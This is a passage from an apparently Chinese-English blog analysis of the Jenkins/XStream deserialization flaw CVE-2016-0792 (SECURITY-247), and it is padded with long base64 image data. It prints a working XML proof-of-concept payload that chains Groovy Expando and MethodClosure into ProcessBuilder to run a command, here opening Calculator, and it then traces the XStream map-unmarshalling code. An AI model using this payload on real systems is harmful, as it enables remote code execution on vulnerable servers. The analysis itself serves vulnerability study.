9+h8FSLQ5cA/evtFqHXGA2zTzCxY6TTr7rauqqHJGzp6rChYZDzANs3JglUbD9nWJkNZEDx6vChYZDzANp2eBeN90GxTs3YTt+Cf2OOsKpTKvSuE8NTsFgXrjAfYppOzYEoftKEX3Wk13uPM9lFxpnpwt72iYK3xAJs05xphtA9acBu3k5G4J+8JPc46rZb6GwTuFKw9HmA7Frx36PdBE38K2YlXF0WnV5oM9Thzzs/92d65xejdKVhpPMA2LfiZotcHzTnF+r1Q21k92uMs0I/dO3qgKFhtPMAWbeO5w/U+PgBuxTayAMBcZAEAEbIAgEEWABAhCwAYZAEAEbIAgEEWABAhCwAYP8+CVZqFAEhs4v+5bqV52pdvBABri2TB2TqITcE3BYF1DWXBmTuITUGXMWBF4Sw4pYOYfSkvqqKomt+0+4P0vhBsm441r9JlDEgmmAWndRA7dgFpN7TbxH/ozXq6jAEJDF0jnNBBbMrMd8sJb5X0t6DLGHA2E+8dTukgNlwXVLo/8wO1g0WXMSCBaZ8pTukgJrZQyG1uHO8DaJ11G43lSuVZ9qttSN6/SqDLGHBeU541+unHB5zDgeuz+DPIx3M6aQBcFb6PAECELABgkAUARMgCAAZZAECELABgkAUARMgCAMb0LOBpQmDLpmdBXajFW4k4X2oI/o/qAM4l7TVCXVVMf+AirJ0F8SsLsgC4FEM9zrp1u21G1m7ilvdjvckGVYVSOVcIwAWY3uMsfIZ3WhBGepMNsh1R+G8XgLQiPc565+pAFjgdiGS4N9lEfE4BpBSuC7z+ZeLPVRsEdVF0epyJ25sszqkgqAuApIJZ4PUvc075fg/Tdg57vcnGz/aBzuoAEuC5QwAiZAEAgywAIEIWADDIAgAiZAEAgywAIEIWADDIAgAiZAEAgywAIEIWADDIAgAiZAEA43/ppQLGA6/S0wAAAABJRU5ErkJggg==" alt="" />

Relevant Link:

http://blog.sodhanalibrary.com/2013/12/standard-way-to-serialize-and.html#.VtDsWnqEDUE

6. SECURITY-247 / CVE-2016-0792 

0x1: POC

<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<!--这里是告诉Expando计算hashCode的时候使用我们的闭包方法--!>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<!--执行打开计算器的操作(当然也可以是别的!)--!>
<owner class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy></resolveStrategy>
<directive></directive>
<parameterTypes/>
<maximumNumberOfParameters></maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int></int>
</entry>
</map>

0x2: 原理分析

The root node in the exploit XML is <map>,和PHP的反序列化一样,Java XStream会在当前代码空间中寻找对应的类名,即对象重建,代码逻辑在MapConverter.java中

public Object More ...unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
Map map = (Map) createCollection(context.getRequiredType());
populateMap(reader, context, map);
return map;
}

下断点调试: com.thoughtworks.xstream.converters.collections.MapConverter

aaarticlea/png;base64,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" alt="" />

the default type for <map> is java.util.HashMap, XStream creates one that it will populate with the entries the user supplies. The entries are assumed to be the direct child elements of <map>

protected void populateMap(..., Map map) {
while (reader.hasMoreChildren()) {
reader.moveDown(); reader.moveDown();
Object key = readItem(reader, context, map);
reader.moveUp(); reader.moveDown();
Object value = readItem(reader, context, map);
reader.moveUp(); map.put(key, value); reader.moveUp();
}
}

aaarticlea/png;base64,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